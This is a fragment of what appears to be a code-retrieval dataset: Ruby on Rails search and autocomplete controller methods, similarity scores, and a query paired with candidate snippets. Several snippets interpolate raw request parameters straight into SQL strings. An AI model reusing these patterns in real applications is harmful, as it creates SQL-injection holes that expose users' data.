v.id.to_s }\r\n end\r\n end\r\n\r\n render json: a\r\nend",
"def autocomplete_sn\n render :partial => 'autocomplete', :object => Scientificname.find(:all, :conditions => ['name ILIKE ?', params[:sn] + '%' ])\n end",
"def auto_complete\n @users = if params[:term] =~ /(@[^\\s]+)\\s.*/\n elsif user_name = params[:term].match(/(@[^\\s]+)/)\n users = User.select('name').where('name LIKE ?', \"%#{user_name[1].to_s[1..-1]}%\")\n\n users.map {|user| {name: \"#@{user.name}\"} }\n end\n render json: @users.to_json\n end",
"def causeautocomplete\n searchtext = params['searchText']\n\n if session[:roleid] == ADMIN_ROLE\n # this will do a like search ignoring case\n @searchcauseresults = Charity.where(\"charityname ILIKE ?\", \"%\" + searchtext + \"%\")\n \n else\n \n # this will do a like search ignoring case\n @searchcauseresults = Charity.where(\"charityname ILIKE ?\", \"%\" + searchtext + \"%\")\n .where(isapproved: true)\n \n end\n\n \n\n #if @searchcauseresults.count == 0\n # @searchcauseresults = Charity.new\n #end\n \n render :json => @searchcauseresults\n\n end",
"def auto_complete_for_person_name\n \tname = params[:person][:name].downcase\n \tnames = name.strip.split(' ')\n \t\n find_options = {\n :order => \"last_name, first_name ASC\",\n\t :limit => 10 }\n\n\t\tif names.size > 1\n\t\t\t# there are two names provided\n\t\t\tfind_options[:conditions] = \"LOWER(first_name) LIKE '%#{names[0]}%' AND LOWER(last_name) LIKE '%#{names[1]}%' OR LOWER(first_name) LIKE '%#{names[1]}%' AND LOWER(last_name) LIKE '%#{names[0]}%'\"\n\t\telse\n\t\t\t# only the first name or last name has been provided\n\t\t\tfind_options[:conditions] = \"LOWER(first_name) LIKE '%#{names[0]}%' OR LOWER(last_name) LIKE '%#{names[0]}%'\"\n\t\tend\n\t\n\t\t@items = Person.find(:all, find_options)\n\t\n\t\tRails.logger.info(\"@items.size = #{@items.size}\")\n\n render :inline => \"<%= auto_complete_result @items, 'name' %>\"\n end",
"def suggest\n end",
"def autocomplete\n render json: Post.search(params[:query],operator: \"or\", autocomplete: true,limit: 10,boost_by_distance: {field: :location, origin: [current_user.lat, current_user.lon]}).map {|post| {title: post.title, value: post.id}}\n end",
"def auto_complete_for_technician_enquiry_from\n re = Regexp.new(\"^#{params[:technician][:name]}\", \"i\")\n find_options = { :order => \"name ASC\" }\n @technicians = Technician.find(:all, find_options).collect(&:name).select { |org| org.match re }\n render :template => 'sales/auto_complete_for_technician_name',:layout=>false\n end",
"def auto_complete\n @query = params[:auto_complete_query]\n @auto_complete = self.controller_name.classify.constantize.scoped(:limit => 10).search(@query)\n render :template => \"common/auto_complete\", :layout => nil\n end",
"def ajax_auto_complete\n type = params[:type].to_s\n instr = params[:id].to_s\n letter = ' '\n scientific = false\n user = login_for_ajax\n if user\n scientific = (user.location_format == :scientific)\n end\n @items = []\n if instr.match(/^(\\w)/)\n letter = $1\n case type\n\n when 'location'\n @items = Observation.connection.select_values(%(\n SELECT DISTINCT `where` FROM observations\n WHERE `where` LIKE '#{letter}%' OR\n `where` LIKE '% #{letter}%'\n )) + Location.connection.select_values(%(\n SELECT DISTINCT `name` FROM locations\n WHERE `name` LIKE '#{letter}%' OR\n `name` LIKE '% #{letter}%'\n ))\n if scientific\n @items.map! {|i| Location.reverse_name(i)}\n end\n @items.sort!\n\n when 'name'\n @items = Name.connection.select_values %(\n SELECT text_name FROM names\n WHERE text_name LIKE '#{letter}%'\n AND correct_spelling_id IS NULL\n ORDER BY text_name ASC\n )\n\n when 'name2'\n @items = Name.connection.select_values(%(\n SELECT text_name FROM names\n WHERE text_name LIKE '#{instr}%'\n AND correct_spelling_id IS NULL\n ORDER BY text_name ASC\n )).sort_by {|x| (x.match(' ') ? 'b' : 'a') + x}\n # This sort puts genera and higher on top, everything else on bottom,\n # and sorts alphabetically within each group.\n letter = ''\n\n when 'project'\n @items = Project.connection.select_values %(\n SELECT title FROM projects\n WHERE title LIKE '#{letter}%'\n OR title LIKE '%#{letter}%'\n ORDER BY title ASC\n )\n\n when 'species_list'\n @items = SpeciesList.connection.select_values %(\n SELECT title FROM species_lists\n WHERE title LIKE '#{letter}%'\n OR title LIKE '%#{letter}%'\n ORDER BY title ASC\n )\n\n when 'user'\n @items = User.connection.select_values %(\n SELECT CONCAT(users.login, IF(users.name = \"\", \"\", CONCAT(\" <\", users.name, \">\")))\n FROM users\n WHERE login LIKE '#{letter}%'\n OR name LIKE '#{letter}%'\n OR name LIKE '% #{letter}%'\n ORDER BY login ASC\n )\n end\n end\n\n # Result is the letter requested followed by results, one per line. (It\n # truncates any results that have newlines in them -- that's an error.)\n render(:layout => false, :inline => letter +\n %(<%= @items.uniq.map {|n| h(n.gsub(/[\\r\\n].*/,'')) + \"\\n\"}.join('') %>))\n end",
"def auto_complete_for_message_to\n query = params[:message][:to]\n @people = Person.all(:order => \"last_name ASC\", :conditions => ['first_name LIKE ? or last_name LIKE ?', \"#{query}%\", \"#{query}%\"])\n render :partial=>\"auto_complete_for_message_to\"\n end",
"def search_prof\n # Search for email or name of professor\n term = \"%#{params[:term]}%\"\n @users = User.all(:conditions => [\"(LOWER(first_name) LIKE LOWER(?) OR LOWER(last_name) LIKE LOWER(?) OR LOWER(email) LIKE LOWER(?)) AND role = ?\", term, term, term, \"Professor\"])\n\n # Return a JSON with \"label\" and \"value\" as key required by JQUeryUI autocomplete\n result = Array.new\n @users.each do |user| \n label = user.first_name + \" \" + user.last_name + \" - \" + user.email\n item = Hash[ \"label\" => label, \"value\" => user.email ]\n result.push item\n end\n\n render :json => result\n end",
"def auto_complete_for_customer\n render :json => {} and return if (terms_string = params[:term].to_s).length < 2\n terms = terms_string.split( /\\s+/ )\n max_matches = 60\n exact_name_matches = Customer.exact_name_matches(terms).limit(max_matches/3)\n partial_name_matches = Customer.partial_name_matches(terms).limit(max_matches/3) - exact_name_matches\n other_term_matches = Customer.other_term_matches(terms).limit(max_matches/3) - exact_name_matches - partial_name_matches\n\n if (exact_name_matches.size + partial_name_matches.size + other_term_matches.size) == 0\n render :json => [{'label' => '(no matches)', 'value' => nil}] and return\n end\n show_all_matches = [{\n 'label' => \"List all matching '#{terms_string}'\",\n 'value' => customers_path(:customers_filter => terms_string)}]\n result =\n exact_name_matches.map { |c| {'label' => c.full_name, 'value' => customer_path(c)} } +\n partial_name_matches.map { |c| {'label' => c.full_name, 'value' => customer_path(c)} } +\n other_term_matches.map { |c| {'label' => \"#{c.full_name} (#{c.field_matching_terms(terms)})\", 'value' => customer_path(c)} } +\n show_all_matches\n render :json => result.uniq\n end",
"def auto_complete_for_keyword_list\n auto_complete_responder_for_keyword params[:keyword][:list]\n end",
"def highlight_in_autocomplete\n\t\t\ttrue\n\t\tend",
"def search_account\n data=params\n search_result =[]\n unless data[:q].blank?\n search_result = @company.accounts.search data[:q], :star => true, :limit => 10000\n else\n search_result = @company.accounts.all(:order => 'name ASC')\n end\n render :partial=> 'account_auto_complete', :locals => {:search_result => search_result}\n end",
"def handle_autocomplete\n if (query = request.params['q'].to_s).empty?\n ''\n else\n model.autocomplete(:type=>@subtype, :request=>request, :association=>params_association, :query=>query, :exclude=>request.params['exclude']).join(\"\\n\")\n end\n end",
"def search_designer\n end",
"def search; end",
"def autocomplete_book_author\n# re = Regexp.new(\"^#{params[:user][:favorite_language]}\" , \"i\" )\n # @books= Book.find_all do |book|\n # book.title.match re\n # end\n # render :layout=>false\n end",
"def autocomplete\n render :json => end_of_association_chain.ordered.search(params[:term]).limit(params[:limit] || 10).to_autocomplete\n end",
"def auto_complete_model_for_person_fullname\n @result = Person.non_student.find_all{|p| p.fullname.downcase.include?(params[:person][:fullname].downcase)}[0..10]\n render :partial => \"auto_complete\", :object => @result, :locals => { :highlight_phrase => params[:person][:fullname] }\n end",
"def all_autocomplete\n quests = Quest.search(params[:query], where: { :group_id => @user.wrapper_group.id})\n recs = Record.search(params[:query], where: { :group_id => @user.wrapper_group.id})\n render json: Search.json(quests.results + recs.results)\n end",
"def display_contacts\n\n # HINT: Make use of this method in the display_all_contacts and search_by_attribute methods to keep your code DRY\n end",
"def display_contacts\n\n # HINT: Make use of this method in the display_all_contacts and search_by_attribute methods to keep your code DRY\n end",
"def autocomplete\n @design_methods = DesignMethod.where(['name LIKE ?', \"#{params[:term]}%\"])\n @design_hash = []\n @design_methods.each do |d|\n @design_hash << { label: d.name }\n end\n respond_to do |format|\n format.json { render json: @design_hash}\n end\n end",
"def autocomplete\n @leader = Leaders.find(:all, :conditions => [\"name like ?\",\"%\" + params[:term].upcase + \"%\"])\n render json: @leader \n end",
"def scrape_contacts; end",
"def auto_complete\n type = params[:type].to_s\n string = CGI.unescape(params[:id].to_s).strip_squeeze\n if string.blank?\n render(text: \"\\n\\n\")\n else\n auto = AutoComplete.subclass(type).new(string, params)\n results = auto.matching_strings.join(\"\\n\") + \"\\n\"\n render(text: results)\n end\n end",
"def peer_articles_autocomplete\n field = params.require(:field)\n unless params[:search].nil? or params[:search] == ''\n # array = Language.filter(params.require(:search))\n search = params.require(:search).tr(' ','%')\n # array = Article.find_by_sql(\"select 'original_article' as field, 'ArticleCompatibilty' as model, a.id as original_article_id, m.name+' '+a.name+' ('a.manufacturerCode')' as label from articles a inner join companies m on m.id = a.manufacturer_id where a.name like '%#{search}%' or a.barcode like '%#{search}%' or a.manufacturerCode like '%#{search}%' or m.name like '%#{search}%' limit 10\")\n render :json => Article.find_by_sql(\"select '#{field}' as field, 'Article' as model, a.id as 'original_article_id[]id', m.name+' '+a.name+' ('a.manufacturerCode')' as label from articles a inner join companies m on m.id = a.manufacturer_id where a.name like '%#{search}%' or a.barcode like '%#{search}%' or a.manufacturerCode like '%#{search}%' or m.name like '%#{search}%' limit 10\")\n end\n end",
"def index\n @types = [ContactType.student]\n \n respond_to do |format|\n format.html\n format.json {\n render json: Contact.full_text_search(params[:q])\n }\n end\n end",
"def auto_complete_for_journal_title\n # Don't search on blank query.\n query = params['rft.jtitle']\n search_type = params[\"umlaut.title_search_type\"] || \"contains\"\n unless ( query.blank? )\n (context_objects, total_count) = find_by_title\n @titles = context_objects.collect do |co|\n metadata = co.referent.metadata\n {:object_id => metadata[\"object_id\"], :title => (metadata[\"jtitle\"] || metadata[\"btitle\"] || metadata[\"title\"])}\n end\n end\n render :text => @titles.to_json, :content_type => \"application/json\"\n end",
"def autocomplete_user_email\n term = params[:term]\n users = User.where(:role_id => current_user.can_mail_to).where(\"lower(email) ILIKE '%#{term}%' OR lower(user_id) ILIKE '%#{term}%'\").order(:email)\n render :json => users.map { |user| {:id => user.id, :label => \"#{user.name} - #{user.email}\", :value => user.name} }\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search(term)\n contacts = Contact.all\n person_data = nil\n contacts.each_with_index do |contact,index|\n if (contact.name.include? term) || (contact.email.include? term)\n person_data = []\n person_data[0] = index\n person_data[1] = contact \n end\n end\n person_data\n end",
"def search\n end",
"def search\n\n end",
"def autocomplete_clase_nombre \n respond_to do |format|\n @clases = Clase.joins(:partida_parcial => [:partida_principal]).where(\"clases.fecha_de_baja IS NULL AND clases.nombre ILIKE ?\", \"%#{params[:term]}%\").order(\"partidas_principales.codigo\").order(\"partidas_parciales.codigo\").order(\"clases.codigo\").paginate(:page => params[:page], :per_page => 30) \n render :json => @clases.map { |clase| {:id => clase.id, :label => clase.nombre, :value => clase.nombre} } \n format.js { } \n end \n end",
"def auto_complete_result(entries, field, phrase = nil)\n return unless entries\n render :partial => '/admin/orders/autocomplete', :locals => { :entries => entries, :field => field, :phrase => phrase }\n end",
"def search\r\nend",
"def get_autocomplete_items(parameters)\n super(parameters).active rescue nil\n end",
"def search\n\n end",
"def autocomplete?\n true\n end",
"def enter_contact_names(test_data)\n test_names = test_data[Org::CONTACT_NAMES.name]\n test_names = [{ Org::CONTACT_NAME.name => ''}] unless test_names\n prep_fieldsets_for_test_data([fieldset(Org::CONTACT_NAMES.name)], test_names)\n\n test_names.each_with_index do |test_name, index|\n enter_auto_complete(contact_name_input(index), contact_name_options(index), test_name[Org::CONTACT_NAME.name], 'Local Persons')\n end\n end",
"def search \n\n end",
"def suggestions\n suggest(search_suggestions)\n end",
"def get_autocomplete_items(parameters)\n HsCode.where(\"hs_codes.code like :search or hs_codes.description like :search\", :search => \"%#{params[:term]}%\").select('description, code').limit(100)\n end",
"def showList() \t\n\t\t@searchSuggestionList\t\n\tend",
"def getAutocomplete(query, type)\n request('getAutocomplete', {'query' => query, 'type' => type})\nend",
"def auto_complete\n @query = params[:term] || ''\n @auto_complete = hook(:auto_complete, self, query: @query, user: current_user)\n if @auto_complete.empty?\n exclude_ids = auto_complete_ids_to_exclude(params[:related])\n @auto_complete = klass.my(current_user).text_search(@query).ransack(id_not_in: exclude_ids).result.limit(10)\n else\n @auto_complete = @auto_complete.last\n end\n\n session[:auto_complete] = controller_name.to_sym\n respond_to do |format|\n format.any(:js, :html) { render partial: 'auto_complete' }\n format.json do\n results = @auto_complete.map do |a|\n {\n id: a.id,\n text: a.respond_to?(:full_name) ? a.full_name : a.name\n }\n end\n render json: {\n results: results\n }\n end\n end\n end",
"def get_autocomplete_items(parameters)\r\n super(parameters).active rescue nil\r\n end",
"def get_autocomplete_items(parameters)\r\n super(parameters).active rescue nil\r\n end",
"def get_autocomplete_items(parameters)\r\n super(parameters).active rescue nil\r\n end",
"def autocomplete_game_search \t\t\t\t \n #@games = Game.name_like(params[\"q\"])[0..10]\n #platform_result = Game.platform_like(params[\"q\"])[0..10] \n @games = Game.search({\"name_cont\" => params[\"q\"]}).result[0..10]\n platform_games = Game.search({\"platform_cont\" => params[\"q\"]}).result[0..10]\n @games = @games | platform_games\n render :json => @games.collect {|game| [game[\"name\"] + \" [\"+game[\"platform\"]+\"]\", game[\"platform\"]]}\n end",
"def autocomplete(name)\n self.class.get(\"/cards/autocomplete?q=#{name}\")\n end",
"def auto_complete_for_recipeSearch_description\n criteria = '%' + params[:recipeSearch][:description] + '%'\n @recipes = Recipe.find(:all, \n :conditions=>[\"title like ? OR description like ?\",criteria, criteria],\n :order=>'title desc', :limit=>10)\n render :partial=> \"recipes\" \n end",
"def auto_complete_belongs_to_for_record_client_id\n auto_param = params[:record][:client][:text]\n @results = Client.find(:all,\n :conditions => [\"LOWER(name) LIKE ?\", \"%#{auto_param.downcase}%\"],\n :limit => 10\n )\n render :inline => '<%= model_auto_completer_result(@results, :name) %>'\n end",
"def quest_autocomplete\n render json: Quest.search(params[:query], where: { :group_id => @user.wrapper_group.id})\n end",
"def auto_complete_for_club_member_login\n\n # split by spaces, downcase and create query for each.\n # Remember to Sanitize the SQL\n conditions = params[:club_member][:login].downcase.split.map {\n\t\t # Sanitize ***********************************\n\t\t |w| \"LOWER(login) LIKE '%\" + (w.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\")) +\"%'\" } # AND the queries.\n\n # AND the queries.\n find_options = {\n :conditions => conditions.join(\" AND \"),\n :order => \"login ASC\",\n :limit => AC_CLUB_MEMBER_NAME_LIMIT }\n\n @items = ClubMember.find(:all, find_options)\n\n render :inline => \"<%= auto_complete_result_2 @items %>\"\n end",
"def get_field_autocomplete_class(model,term)\n if (not model.is_a? String) and (not model.is_a? Symbol)\n model=ActiveSupport::Inflector.tableize(model.class.to_s)\n end\n\n if term\n if term.to_s=='based_near' || term.to_s=='subject' || term.to_s=='contributor'\n return ['autocomplete']\n end\n end\n\n dt=DomainTerm.find_by(model: model, term: term)\n if not dt or dt.local_authorities.empty?\n return []\n else\n return ['autocomplete']\n end\n end",
"def auto_complete_for_ingredient_name\n value = params[:ingredient][:name]\n @ingredients = Ingredient.find(:all, \n :conditions => [ 'LOWER(name) LIKE ?',\n '%' + value.downcase + '%' ], \n :order => 'name ASC',\n :limit => 8)\n render :partial => 'ingredient_name_matches'\n end",
"def search_fields\n [ 'name', 'email', 'description' ]\n end",
"def action_search( contacts )\n puts\n pattern = ask \"Search for? \"\n puts\n contacts.each do |contact|\n\n #Patttern works on the first letter of first/sur name\n if contact[:name] =~ /\\b#{pattern}/i\n show ( contact )\n puts\n end\n end\nend",
"def autocomplete_composite_fullname_email\n term = params[:term]\n @users = User.select(\"fullname, email\").select{ |u| u.composite_fullname_email.include?(term) }.map(&:composite_fullname_email)\n render json: @users\n end",
"def auto_complete_for_friend_name\n friend = params[:term]\n #@associates = current_user.associates.find(:all, :conditions => \"name like '%\" + friend + \"%'\")\n\n @associates = current_user.associates.find_by_name_like(friend)\n if @associates.present?\n render :json => @associates.map(&:name), :status => :ok\n else\n render :json => params[:term], :status => :ok\n end\n end",
"def auto_complete_for_user_name\n @users = session[:user].get_available_users(params[:user][:name])\n render inline: \"<%= auto_complete_result @users, 'name' %>\", layout: false\n end",
"def autocomplete\n search_params = params.merge(search_field: Spotlight::Engine.config.autocomplete_search_field)\n (_, @document_list) = search_results(search_params.merge(public: true), search_params_logic)\n\n respond_to do |format|\n format.json do\n render json: { docs: autocomplete_json_response(@document_list) }\n end\n end\n end",
"def autocomplete\n @drain_results = Drain.ransack(address_cont: params[:q]).result(distinct: true).limit(5)\n @street_results = Street.ransack(street_name_cont: params[:q]).result(distinct: true).limit(5)\n @need_help_category_results = NeedHelpCategory.ransack(category_name_cont: params[:q]).result(distinct: true).limit(5)\n render json: {streets: ActiveModel::ArraySerializer.new(\n @street_results,\n each_serializer: Api::V1::StreetSerializer\n ), drains: ActiveModel::ArraySerializer.new(\n @drain_results,\n each_serializer: Api::V1::DrainSerializer\n ), categories: ActiveModel::ArraySerializer.new(\n @need_help_category_results,\n each_serializer: Api::V1::NeedHelpCategorySerializer\n )}\n end",
"def search_list_field_enter(value)\n value_arr = value.chomp.split(':')\n text_field = ''\n s_filter = ''\n\n if value_arr.size > 0 # type in the field if filter is provided\n s_filter = value_arr.first\n text_field = @field.all(:css, 'input[type=\"text\"][searchlist=\"True\"]').first[:id]\n else\n control = @field.all(:css, 'i[class$=\"open-search-list\"]').first\n control.click\n end\n\n s_value = value_arr.last\n\n fill_auto_complete(text_field, s_filter, s_value)\n end",
"def parse_search; end",
"def auto_complete_info(field)\r\n { \"id\" => id, \"label\" => send(field), \"value\" => send(field) }\r\n end",
"def search_phone\n\n end",
"def autocomplete_agente_apellido\n agente_activo = 1\n respond_to do |format|\n @agentes = Agente.where(\"agentes.estado_agente_id = ? AND agentes.apellido ILIKE ?\", agente_activo, \"%#{params[:term]}%\")\n render :json => @agentes.map { |agente| {:id => agente.id, :value => agente.apellido + \" \"+ agente.nombre } } \n format.js { } \n end\n end",
"def get_autocomplete_items(parameters)\n items = super(parameters)\n if current_user.admin?\n items\n else\n items.includes(:users).where(users:{id: current_user.id})\n end\n end",
"def auto_complete(controller, context = {})\n query, tags = parse_query_and_tags(context[:query])\n klass = controller.controller_name.classify.constantize\n if tags.empty?\n klass.my(:user => context[:user], :limit => 10).search(query)\n else\n klass.my(:user => context[:user], :limit => 10).search(query).tagged_with(tags, :on => :tags)\n end\n end",
"def autocomplete_recipient_name\n term = params[:term]\n\n items = if term && !term.blank?\n search_recipients(term)\n else\n {}\n end\n\n render json: json_for_autocomplete(items, :to_s)\n end",
"def searchdescription\n end",
"def autocomplete\n\t\tquery_params = QueryFormat.autocomplete_format()\n\t\tbegin\n\t\t\tQueryFormat.transform_raw_parameters(params)\n\t\t\tquery = QueryFormat.create_solr_query(query_params, params, request.remote_ip)\n\t\t\tquery['field'] = \"content_auto\" if query['field'].blank?\n\t\t\tis_test = Rails.env == 'test' ? :test : :live\n\t\t\tis_test = :shards if params[:test_index]\n\t\t\tsolr = Solr.factory_create(is_test)\n\t\t\tmax = query['max'].to_i\n\t\t\tquery.delete('max')\n\t\t\twords = solr.auto_complete(query)\n\t\t\twords.sort! { |a,b| b[:count] <=> a[:count] }\n\t\t\twords = words[0..(max-1)]\n\t\t\t@results = words.map { |word|\n\t\t\t\t{ :item => word[:name], :occurrences => word[:count] }\n\t\t\t}\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # index.html.erb\n\t\t\t\tformat.json { render json: { results: @results } }\n\t\t\t\tformat.xml\n\t\t\tend\n\t\trescue ArgumentError => e\n\t\t\trender_error(e.to_s)\n\t\trescue SolrException => e\n\t\t\trender_error(e.to_s, e.status())\n\t\trescue Exception => e\n\t\t\tExceptionNotifier.notify_exception(e, :env => request.env)\n\t\t\trender_error(\"Something unexpected went wrong.\", :internal_server_error)\n\t\tend\n\tend"
] |
[
"0.73838806",
"0.7332649",
"0.68955564",
"0.6794047",
"0.67873037",
"0.675239",
"0.67342377",
"0.66615826",
"0.6620139",
"0.6597149",
"0.6590058",
"0.65092415",
"0.6495667",
"0.64929533",
"0.6490873",
"0.6479817",
"0.6459309",
"0.6451394",
"0.64343727",
"0.6433693",
"0.64278436",
"0.642528",
"0.6420211",
"0.6417725",
"0.63992494",
"0.6398408",
"0.6398328",
"0.63950384",
"0.63909346",
"0.638146",
"0.6372059",
"0.63593787",
"0.6344625",
"0.6339801",
"0.63158506",
"0.6290079",
"0.6284935",
"0.6284935",
"0.62735486",
"0.6250498",
"0.6222165",
"0.6203218",
"0.6199229",
"0.6192054",
"0.61833173",
"0.616864",
"0.6166538",
"0.6166538",
"0.6166538",
"0.6166538",
"0.6166538",
"0.6166538",
"0.6166538",
"0.6166538",
"0.6166538",
"0.6166538",
"0.61588037",
"0.61514527",
"0.61452734",
"0.61423147",
"0.61308753",
"0.61222494",
"0.61218315",
"0.61133295",
"0.60875994",
"0.6086849",
"0.60790014",
"0.6075057",
"0.60727644",
"0.60700125",
"0.6068837",
"0.60580003",
"0.60553426",
"0.60553426",
"0.60553426",
"0.6051204",
"0.6045215",
"0.6039993",
"0.6034761",
"0.60329974",
"0.6029567",
"0.6024564",
"0.6022478",
"0.60213435",
"0.6016122",
"0.6013842",
"0.60133135",
"0.6002244",
"0.5988565",
"0.5988054",
"0.597559",
"0.595831",
"0.5958207",
"0.59508777",
"0.5943478",
"0.5940108",
"0.5937219",
"0.5930284",
"0.59296906",
"0.5924173"
] |
0.61608994
|
56
|
for searchng matter and contact in communication index page by imagedrop
|
def get_matter_info
get_comp_id = get_company_id
@contacts = Contact.get_contact_records(current_company,get_comp_id)
@matters = Matter.get_matter_records(get_comp_id, get_employee_user_id)
render :update do |page|
if params[:comm_cnt_id].present?
page.replace_html "contact_drop_#{params[:comm_cnt_id]}_span", :partial=>"verify_matter", :locals => { :contacts => @contacts,:com_id=>params[:comm_cnt_id],:from=>"contacts" }
else
page.replace_html "comm_mtr_#{params[:com_id]}_span", :partial=>"verify_matter", :locals => { :matters => @matters,:com_id=>params[:com_id],:from=>"matters" }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def advanced_search # :nologin: :norobots:\n begin\n query = find_query(:Image)\n show_selected_images(query)\n rescue => err\n flash_error(err.to_s) if !err.blank?\n redirect_to(:controller => 'observer', :action => 'advanced_search')\n end\n end",
"def index\n if params.key?(:sq)\n search_params = {}\n search_params.merge!(original_search_params)\n @photos = Photo.search(search_params).result(distinct: true).page(params[:page])\n @page_h1 = '検索結果'\n elsif params[:tag]\n @photos = Photo.tagged_with(params[:tag]).page(params[:page])\n @page_h1 = \"タグ結果 - #{params[:tag]}\"\n else\n @photos = Photo.page(params[:page])\n @page_h1 = '写真一覧'\n end\n end",
"def show\n #@document = Document.find(params[:id])\n #\n # Above line is unnecesary because there is this magic before_action :set_document ... hell yeah\n #\n @documentImages = @document.document_images.load\n case @document.doc_type\n when 'registration_certificate'\n case @document.language\n when 'English'\n @translation = @document.english_registration_certificate\n #appid = CGI.escape(\"Seeker of words in documents\")\n #passss = CGI.escape(\"IGP0S5KYsUi7WpYCiTa8refF\")\n #\n # Here comes the EACH loop over all the images stored in @documentImages objects - probablu mulpile request :: submitImage\n #\n #filename = @document.image.current_path\n #language = \"English\"\n #url = \"http://#{appid}:#{passss}@cloud.ocrsdk.com\"\n @document.translation\n end\n else\n @translation = EnglishRegistrationCertificate.new()\n end\n end",
"def index\n # 検索フォームの入力内容で検索する\n if params[:q] != nil \n @q = Vmimage.search(params[:q])\n # 重複を排除\n @vmimages = @q.result(distinct: true)\n \n p \"params[:tag]\"\n p params[:tag]\n if params[:tag] != \"non_tag_search\" \n @vmimages = @vmimages.tagged_with([params[:tag]], :match_all => true)\n end\n else\n @vmimages = Vmimage.all \n end\n \n end",
"def index\n @notes = Note.all\n @note_images = NoteImage.all\n @noteSearch = Note.search(params[:search])\n\n # if params[:search]\n # @noteSearch = Note.search(params[:search])\n # if @noteSearch.hits == []\n # @noteData = \"none\"\n # else\n # @noteData = @noteSearch\n # end\n # else\n # @noteData = Note.all\n # end\n # raise \"#{@note_images}\"\n\n end",
"def index\n\n per_page = 10\n \n # Total number of images\n @total_num_of_images = Image.all.length\n \n @server_info = request.host_with_port\n \n # Params => Search\n @images = _index_1_search_text(per_page)\n \n @contentArray = _index_get_log()\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"def index\n\n ##todo : check for service or products\n ##todo : search\n\n #if params[:search]\n\t\t#@mobile = Company.find(:all,:conditions => ['company_name like ?', \"%#{params[:search]}%\"], :order => 'company_name', :limit=>10)\n\t\t@mobile = Company.find(:all, :order => 'company_name', :limit=>10)\n\n #end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @homes }\n end\nend",
"def advance_search \n if params[:entity_type]==\"static-fragment\"\n @page_properties={:selected_menu=>'static_fragment',:menu_title=>'Static Fragment List'}\n else\n @page_properties={:selected_menu=>'static_articles',:menu_title=>'Static Page List'}\n end \n @search=true \n @search_data=SearchData.new(params[:search_data]) if params[:search_data] \n @article_path=\"static_page\" \n @selected_section=@site.static_sections.find(params[:search_data][:section_id]) if params[:search_data] and params[:search_data][:section_id]!=\"\"\n session[:per_page]=params[:per_page] if params[:per_page]!=nil\n sort_init \"updated_at\"\n sort_update\n respond_to do |format|\n format.html do \n render :action=>\"index\" ,:entity_type => params[:entity_type]\n end\n format.js do\n render :update do |page| \n page.replace_html 'article_list',component_table_list(@site.find_component_by_name(\"static_article_search\"))\n end\n end\n end \n end",
"def search_matter\n cid = @company.id\n @search_result =[]\n @search_result = matter_search # Common search\n respond_to do |format|\n format.js { render :partial=> 'matter_auto_complete', :object => @search_result }\n format.html { render :partial=> 'matter_auto_complete', :object => @search_result }\n end \n end",
"def index\n @q = params[:q]\n @search = Imagecapturing.ransack params[:q]\n @imagecapturings = @search.result #.result.page params[:page]\n end",
"def index\n\t @robot_img = 'http://www.bia.or.th/en/images/photo/08dec.jpg'\n\t @title = 'Articles - Suan Mokkh'\n\t # @featured_books = Book.includes(:authors, :groups, :languages).where(featured: true, draft: false).order('created_at DESC').limit(10)\n\t # @recommended_books = Book.includes(:authors).where(recommended: true, draft: false).order('created_at DESC').limit(15)\n\t @filterrific = initialize_filterrific(\n\t Article,\n\t params[:filterrific],\n\t :select_options => {\n\t with_language_id: Language.options_for_select,\n\t with_author_id: Author.options_for_select,\n\t with_series: Article.options_for_series,\n\t },\n\t # default_filter_params: [],\n\t # persistence_id: 'shared_key',\n\t # available_filters: [],\n\t ) or return\n\t @articles = @filterrific.find.page(params[:page]).where(draft: false)\n\n\t respond_to do |format|\n\t format.html\n\t format.js\n\t end\n\tend",
"def search_document\n query = params[:input]\n type = params[:type]\n case type\n when \"cni\"\n @title = \"Recherche suivant \"+type\n @query = Convocation.where(cni: query).uniq\n when \"immatriculation\"\n @query = Convocation.where(immatriculation: query).uniq\n when \"telephone\"\n @title = \"Recherche suivant \"+type\n @query = Convocation.where(phone: query, status: \"impaye\").order(created_at: :desc).order(cni: :desc)\n #@cni = Convocation \n #redirect_to action: self, id: \"#{type}/#{query}\"\n when \"code\"\n @query = Convocation.where(code: query).uniq\n end\n #render layout: 'administration'\n render layout: 'views/index'\n end",
"def index\n\n\n # @images = Image.all\n # #Ransack gem's Paul Ancajima updated 7/17/18\n # @q = Image.ransack(params[:q]) #.each {|k, v| [k, v.strip!]}) #Strips trailing spaces\n # @images = @q.result(distinct: true).includes(:category) #Advance search\n # @q.build_condition if @q.conditions.empty? #Remove the if statement to add extra search groups\n\n @show_all_images = Image.all\n #To setup params key 'page'. The method paginate comes from gem 'will_paginate' Paul Ancajima\n @home = Image.paginate(page: params[:page])\n @approved_images = Image.where(status_id: 1).all\n\n # get category selected by user for persistent selection\n # strip category and search params into variables @user_cat_id and @user_search\n # this allows for the search function to search first through categories then for the search(image title)\n # at home page no search performed yet\n if params[:q].nil? || params[:q][:category_id].nil?\n @user_cat_name = \"All\"\n\n # if 'All' selected check only that query (q) was made\n elsif params[:q].present?\n @user_cat_id = params[:q][:category_id] unless params[:q].nil?\n @user_search = params[:q][:image_title]\n\n # if specific category selected check that query (q) and category id exists\n elsif params[:q][:category_id].present?\n @user_cat_name = Category.find(@user_cat_id).name unless params[:q].nil?\n @user_search = params[:q][:image_title]\n\n end\n\n #Search function (ransack gem) - first searches categories then image title\n @q = Image.ransack(category_id_eq: @user_cat_id, image_title_cont: @user_search)\n\n #Set search result to @home instance variable for display\n #Set pagination per page here\n\n #Only admins are allowed to this action otherwise will be redirected home\n if current_user\n if current_user.is_admin?\n @current_user_is_admin = current_user\n end\n redirect_to home_index_path unless current_user.is_admin?\n else\n redirect_to home_index_path\n end\n\n @home = @q.result.paginate(page: params[:page], per_page: 20)\n end",
